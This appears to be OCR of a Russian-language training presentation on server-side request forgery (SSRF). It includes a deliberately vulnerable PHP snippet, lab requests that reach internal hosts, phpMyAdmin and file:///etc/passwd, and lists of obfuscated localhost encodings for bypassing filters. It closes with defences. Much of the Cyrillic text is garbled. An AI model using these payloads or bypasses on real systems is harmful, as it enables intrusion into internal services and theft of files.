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[Touemy SSRF CTaHOBUTCA TakoM MOMy/ISIPHOW
VSBBUMOCTBHO?



O6Lwas nHdopmaumst 06 ya3BMMOCTU

YTO Mbl NOYYMM MPU YCMIELLIHOW 3KCr1yaTaumnm
O6xon WAF 1 akcnnyaTaums

D DEKTMBHBIN MOUCK YSA3BUMOCTU

3awmTta oT SSRF

[lonynapHocTb SSRF



O6LLasa HdopmaLma o SSRF



Uto Takoe SSRF?

1 - Request with SSRF 2 - Request to an

payload internal server
—

. —
3 - Response from
the internal server

—-—
4 - Response with data

from the internal server

Web

Attacker Application
Server

Internal
Server



[ Tprmep ys3BMMOTro Koaa K SORF:

$url = $ GET[ 'url'];
$image = file_get_ contents($url);

header('Content-Type: image/jpeg');
echo $image;




O A 192.168.1.51




Pea/1bHOCTD.

Request

Raw Hex =1 N

1 GET fimage.php?url=http:fflgl.lﬁﬂ.l.dﬁ:ﬂﬂﬂﬂf HTTP/1.1
Z Host: 192.168.1.51

3 User-Agent: Mozilla/5.@ (X11; Linux x86_64; 1v:102.0) Gecko/20100101 192.168.1.46 - IP aTakyrouwero
Firefox/102.0 192.168.1.51 - IP yassumoro cepsepa

4 Accept: 192.168.1.35 - IP cepBepa, KOTOPbIiA
text/html, application/xhtml+xml, application/xml;q=0.9,image/avif, image/webp, */* HaXOAUTCA B IOKA/NILHOM CETH C YA3BUMbIM

gq=0.8
> Accept-Language: en-US,en;g=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
2 Upgrade-Insecure-Requests: 1

cepBepom

-m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

192.168.1.51 - - [26/Apr/2023 06:09:08] "GET / HTTP/1.1" 200 -




IKCrvyataupa M UMIMNaKT



[ lonb3a oT 3Kcrvyaraumn:

* [1pon3BOJIbHbIE 3aMpPOChl Ha BHELLHWE pecypchl

* [1pon3BOJIbHbIE 3aNPOChl HA BHYTPEHHNE PECYPChI

* YTeHwne nokanbHbIX (pannos

* [lonyyeHune goctyna K KoHdMaeHUMANbHOW MHOpMaLmMm
 [lonHaa koMnNpoMeTaunsa cepBepa



| lpOV3BO/1bHBIE 3aMPOChI HA BHELLHME
QyPChb!:

Request Response ==
Raw Hex = N = Raw Hex Render 8B n» =
1l GET /image.php?url=https://google.com/ HTTP/1.1 1 HTTP/1.1 288 OK
2 Host: 192.168.1.51 2 Date: Wed, 26 Apr 2023 18:04:22 GMT
3 User-Agent: Mozilla/5.@ (X11; Linux x86_64; 1v:102.8) Gecko/20100181 3 Server: Apache/2.4.52 (Ubuntu)
Firefox/182.0 4 Connection: close
4 Accept: 5 Content-Type: image/jpeg
text/html,application/xhtml+xml, application/xml;q=0.9,image/avif, image/webp,K */* & Content-Length: 52465
,q=0.8 7
5 Accept-Language: en-US,en;g=0.5 gf<Tdoctype NTmI=<ntml 1temscope="— 1LemLype= NLtp.//schema.orq/WebFage.
& Accept-Encoding: gzip, deflate lang="1u"><head><meta content="&#1055&#1086 ;4#1080 ;&#1089 &#1082;
7 Connection: close AELIOED  EF1085 &F1E092 EF1RE6 &F1EEE  EF1QEL &#1O72  &#1094  &#10E0  &#¥1020 ; &F1G74:
2 Upgrade-Insecure-Requests: 1 AELOED  &F1085 :&F1090  &F1077  &#F1OE8  &F1QES  &F1OTT7  &F1O90 ; &F1077 : :
9 AELOTA EF1OTT &F1073; E#F1OE9 &#1090 :&#108E  &#1072 :&#10E5  &#1080 : &#1094 :&#1099 ;|
L& GELIOEZ EF1OT7Z  &F1OEE  &EF1O90  &F1OE0  &F1OE5  &F1BE2 &F10E0 ;
GE1OTL - EF1OB0 : &F1O70  &F1QTT  &F10EL: &FL1OEG;
B8 BilR8s Akl RsE RElRd S Ral0ss. BAElRT T

192.168.1.46 - IP atakyrouwero
192.168.1.51 - IP yazsumoro cepsepa
192.168.1.35 - IP cepBepa, koTOpbIN

HaXoAWTCA B JIOKA/IbHOW CETU C YA3BMMbIM
cepeepom




[ IpOM3BOIbHbIE 3aMNpPOChl HA
BHYTPEHHWE pecypcChl;

Request
Raw Hex / B n

GET /image.php?url=http://192.168.1.35/secret.txt HTTPF/1.1 HTTP/1.1 200 OK
Host: 192.168.1.51 Date: Wed, 26 Apr 2023 18:31:31 GMT

User-Agent: Mozill Server: Apache/2.4.52 (Ubuntu)
Firefox/102.0 Content-Length: 12
4 Accept: Connection: close

text/html, application/xhtm  Content-Type: image/jpeg
q=0.8
Accept-Language: en-U5,en;g=0.5
6 Accept-Encoding: gzip, deflate
Connection: close

2 Upgrade-Insecure-Requests: 1

Response

Raw Hex Render

Lad P b

[ L

B (¥11: Linux x86_64: 1v:182.0) Gecko/20100181

L =

ml, application/xml;q=0.9,image/avif, image/webp,K */*

/SECIEt 1nfo

L |

192.168.1.46 - IP arakyrouwero
192.168.1.51 - IP yassumoro cepsepa
192.168.1.35 - IP cepBepa, KoTOpbLIN

HaXoAWTCA B JIOKA/IbHOW CETU C YA3BMMbIM
cepBepom




[lopTbl N KOHPUAEHLUMANbHAsA

MHMOPMaLIUS:

Request

LA fad }

—
]
1

Raw Hex

GET /image.php?url=http://192.168.1.35:8080/ HTTP/1.1

Host: 192.168.1.51
User-Agent: Mozilla/5.@ (¥11; Linux x86_64; rv:102.0) Gecko/20108101

Firefox/182.0

Accept:

text/html, application/xhtml+xml, application/xml;qg=0.9,image/avif, image/webp, */*
gq=0.8

Accept-Language: en-US, en;g=@.5

. Accept-Encoding: gzip, deflate

Connection: close

2 Upgrade-Insecure-Requests: 1

192.168.1.46 - IP arakyrouwero
192.168.1.51 - IP yassumoro cepsepa
192.168.1.35 - IP cepBepa, KoTOpbLIN

Response

Raw Hex Render
23 <«link rel="stylesheet"” type="text/css”
href="./themes/pmahomme/css/theme.css?v=5.2.1">
24  <title>phpMyAdmin</title>

25 <script data-cfasync="false" type="text/javascript”
src="js/vendor/jquery/jguery.min.js?¥v=5.2.1"></script>

26 <script data-cfasync="false" type="text/javascript”
src="js/vendor/jguery/jguery-migrate.min.js?v=5.2.1"></script>

27  <script data-cfasync="false" type="text/javascript”

src="js/vendor/sprintf.js?v=5.2.1"></script>

<script data-cfasync="false" type="text/javascript”
src="js/dist/ajax.js?v=5.2.1"></script>
29 <script data-cfasync="false" type="text/javascript”

e

HaXoaAWUTCA B NOKANbHOW CETKH C YAIEMMbIM

cepBepom
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YTeHne nokanbHbIX (pannos:

equest
Raw Hex =

GET /image.php?url=file:///etc/passwd HTTP/1.1

Host: 192.168.1.51

User-Agent: Mozilla/5.@ (X11; Linux x86_64; rv:102.8) Gecko/20180181
Firefox/102.0

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp,K */*
g=0.8

Accept-Language: en-USs,en;g=0.5

. Accept-Encoding: gzip, deflate

Connection: close
Upgrade-Insecure-Requests: 1

Response

—h

= On LA B g R

[

1@
11

-

12

-
=

Raw Hex Render

HTTP/1.1 2808 0K

Date: Wed, 26 Apr 2023 19:57:47 GMT
Server: Apaches2.4.52 (Ubuntu)
Content-Length: 1900

Connection: close

 Content-Type: image/jpeqg

Toot:x:@:@:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/shin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:fdev:/usr/shin/nologin
sync:x:4:65534:sync: /bin: /bin/sync

lgames:x:5:6@:games:/usr/games: /usr/sbhin/nologin




IKCrUTyaTaUpma MOKET NMPMBECTU K MOJHOM
KOMIMPOMETALM cEpBEPa






 lcnonb3oBaHWe pasnnyHbix cxeM: file, gopher,

 lcnonb3oBaHne anbTeEPHATMBHBIX NMpeacTaBieHn
« Hopmanusauus (Node.js)

),
U

ht

)/ht

s, ldap v ap.




Icnonb30BaHWE aNlbTePHATUBHbIX
NpeacTaBIEHUN:

127.0.0.1 (localhost) MoxeT 6bITb NpeAcTaBNeH Kak:

e 127.1
+ 127.0.00000000000000000000000000000000001

« 0177.0.0.01 <= BOCbMepUYHAA 3aNUCH
« 00000000000000000000000000000000000000000000000000177.0.0.01

e Ox7f.0x0.0x0.0x1 <= xekc
e Ox7f00000T

e 2130706433 <= pecATn4YHasa 3anuch
e« O1TT1111T000000000000000000000001 <= pBOMYHAA 3aMUCb

e [::] - IPV6



Icnonb30BaHWE aNlbTePHATUBHbIX
npeacraBneHnn Hex:

Request Response
Raw Hex = N = Raw Hex Render

. GET /image.php?url=http://0xcPa80123:8088/ HTTR/1.1 href="./themes/pmahomme/css/theme.css?v=5.2.1">

2 Host: 192.168.1.51 24 <title>phpMyAdmin</title>

3 User-Agent: Mozilla/5.8@ (¥11; Linux x86_64; rv:182.0) Gecko/20100101 25 <script data-cfasync="false" type="text/javascript”
Firefox/102.0 src="7js/vendor/jguery/jguery.min.js?v=5.2. 1"></script>

4 Accept: 26 <script data-cfasync="false" type="text/javascript”
text/html, application/xhtml+xml, application/xml;q=0.9,1image/avif,K image/webp, */* src="]s/vendor/jquery/jquery-migrate.min.js?v=5.2.1"></script>
'q=0.8 27 <script data-cfasync="false" type="text/javascript”

5 Accept-Language: en-US,en;g=0.5 src="js/vendor/sprintf.js?v=5.2.1"></script>

6 Accept-Encoding: gzip, deflate 28 <script data-cfasync="false" type="text/javascript”

7 Connection: close src="js/dist/ajax.js?v=5.2.1"></script>
Upgrade-Insecure-Requests: 1 29  <script data-cfasync="false" type="text/javascript”

src="js/dist/keyhandler.js?v=5.2 1"></script>
1@ 20 «<script data-cfasync="false" type="text/javascript”

192.168.1.35 == 0xc0a80123



VIcnonb30BaHWe afibTeEPHATUBHBbIX
npeacraBneHnn IPv6:

Request Response
Raw Hex = N = Raw Hex Render

| GET /image.php?url=http://[::ffff:cBa8:123]:8088/ HTTF/1.1 href="./themes/pmahomme/css/theme.css?v=5.2.1">

2 Host: 192.168.1.51 24 <title>phpMyAdmin</title>

4 User-Agent: Mozilla/5.@ (X11; Linux x86_64; rv:102.0) Gecko/20100181 25 <s5cript data-cfasync="false" type="text/javascript”
Firefox/102.0 src="js/vendor/jguery/jguery.min.js?v=5.2.1"=</script>

4 Accept: 26 «<script data-cfasync="false" type="text/javascript”
text/html, application/xhtml+xml, application/xml;q=0.9,image/avif, image/webp, */* src="js/vendor/jguery/jguery-migrate.min.js?v=5.2.1"></script>
'q=0.8 27 «<script data-cfasync="false" type="text/javascript”

5 Accept-Language: en-US,en;qg=0.5 src="js/vendor/sprintf.js?v=5.2.1"></script>

6 Accept-Encoding: gzip, deflate 28 <script data-cfasync="false" type="text/javascript”

7 Connection: close src="js/dist/ajax.js?v=5.2.1"></script>

2 Upgrade-Insecure-Requests: 1 29 «<script data-cfasync="false" type="text/javascript”

192.168.1.35 == [::ffff:c0a8:123}



PaboTa B 3aBUCMMOCTU OT peann3aun:

Request Response
Raw Hex = N = Raw Hex Render
GET /image.php?url=http://127.8.0.1/secret.txt HTTP/1.1 HTTP/1.1 208 OK

Date: Wed, 26 Apr 2023 20:20:38 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 12

Connection: close

. Content-Type: image/jpeq

Host: 192.168.1.51

User-Agent: Mozilla/5.@ (¥11; Linux x86_64;: 1v:182.0) Gecko/20100101
Firefox/182.0

4 Accept:

text/html, application/xhtml+xml, application/xml;q=0.9,image/avif,h image/webp, */*
q=0.8

Accept-Language: en-US5,en;g=0.5

6 Accept-Encoding: gzip, deflate

Connection: close

" Upgrade-Insecure-Requests: 1

L Fd )
LR B g R}

2 Secret info

L




PaboTa B 3aBUCMMOCTU OT

Request

Raw Hex =1 N

GET /image.php?url=http://127.1/secret.txt HTTP/1.1
Host: 192.168.1.51

3 User-Agent: Mozilla/5.@ (¥X11; Linux x86_64; rv:182.8) Gecko/20100101

(=

-._I [ F

Firefox/182.0

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9,image/avif, image/webp, */*
g=0.8

Accept-Language: en-US5,en;g=0.5

. Accept-Encoding: gzip, deflate

Connection: close
Upgrade-Insecure-Requests: 1

¢ ping 127.1
PING 127.1 (127.0.0.1) 56(84) bytes of data.

peann3aumn:

Response

Raw Hex Render

HTTP/1.1 288 OK

Date: Wed, 26 Apr 2823 20:21:25 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Length: @

Connection: close

Content-Type: image/jpeq

Fed

o LN B L

0 ) h

64 bytes from 127.0.0.1: icmp seq=1 ttl=64 time=1.96 ms



O6xoa WAF uepe3 cMMBO/Ibl FOHMKOA

(Node.js) http://192.168.1.35/ moxeT bbITb, KakK:

DO OE®®. .-G

https://qgithub.com/0x51hacker/SSRF-Unicode



https://github.com/0x51hacker/SSRF-Unicode

AcbdbekmBHbIM NoncK SSRF




3awupra ot SSRF

* 3anpeTnTb UCNOoNb30BaHMe BOMBbLUIMHCTBA HEHY>KHbIX CXEM

* BbICTaBUTb "cU/bHbIE” Naposm abCooTHO Ha BCe CEPBUCHI
 llcnonb3oBaTb b6esible CNCKM BMECTO YEPHbIX

« TuWwaTenbHas NpoBepKa Nob30BaTENLCKOro BBOAA pECYpPCoB
* cnonb3oBaHne dunbTpoB (MPoBepKa aapecoB U CXeM)

«  OrpaHuunTb AOCTYN K BHYTPEHHEN MH(PPACTPYKTYpE



[louemy SSRF HabvpaeT nomnynsgpHOCTL?

¢ [loBblILEHHbIV YPOBEHb OCBEAOMIEHHOCTU
 PacnpocrpaHeHne 06nayHbIX TEXHOMOMMM

« HepocraToyHas NpoBepKa Nob30BaTENLCKOro BBOAA
» CNoXXHOCTb OBHapY>XeHUs YA3BUMOCTU

* [loTeHumanbHbIM CEPbE3HBIN YLLEPD




[ OTOB OTBETUTb HAa

BaLLI BOMPOCH!

Email: tragernout@yandex.ru
TenerpaM: @tragernout
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